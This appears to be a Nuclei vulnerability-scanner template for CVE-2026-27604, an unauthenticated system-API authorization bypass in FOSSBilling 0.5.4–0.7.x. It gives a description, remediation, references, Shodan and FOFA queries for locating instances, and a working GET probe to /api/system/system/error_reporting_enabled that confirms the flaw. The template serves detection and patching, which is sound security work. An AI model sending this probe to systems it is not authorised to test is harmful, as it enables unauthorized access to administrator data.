id: CVE-2026-27604 info: name: FOSSBilling 0.5.4-0.7.x - Unauthenticated System API Role Authorization Bypass author: str4k3r severity: critical description: | FOSSBilling versions 0.5.4 through 0.7.x contain an authorization bypass in API role handling. The internal system role is accepted from the URL, resolves to the cron-admin identity, and reaches privileged system API methods without authentication, a session, or a CSRF token. Version 0.8.0 rejects the system route role. impact: | An unauthenticated remote attacker can invoke privileged FOSSBilling system API methods and may access or modify administrator-managed data. remediation: | Upgrade FOSSBilling to 0.8.0 or later, or block external access to /api/system/*. reference: - https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279 - https://github.com/FOSSBilling/FOSSBilling/releases/tag/0.8.0 - https://nvd.nist.gov/vuln/detail/CVE-2026-27604 classification: cve-id: CVE-2026-27604 epss-score: 0.01264 epss-percentile: 0.69506 cwe-id: CWE-862 metadata: verified: true max-request: 1 vendor: fossbilling product: fossbilling shodan-query: http.html:"FOSSBilling" fofa-query: body="FOSSBilling" tags: cve,cve2026,fossbilling,api,auth-bypass,authorization,unauth http: - raw: - | GET /api/system/system/error_reporting_enabled HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains_any(body, "\"result\":false", "\"result\":true")' - 'contains(body, "\"error\":null")' - 'status_code == 200' condition: and # digest: 4b0a00483046022100955a32ac3a0249d138564a98d51ae61fd58eb4a6712147cc2e343144e392d905022100f2a8ab742644c3fd6b2a1329c20fdd54de812479fd733fd08a5f4e3f487d0e43:922c64590222798bb761d5b6d8e72950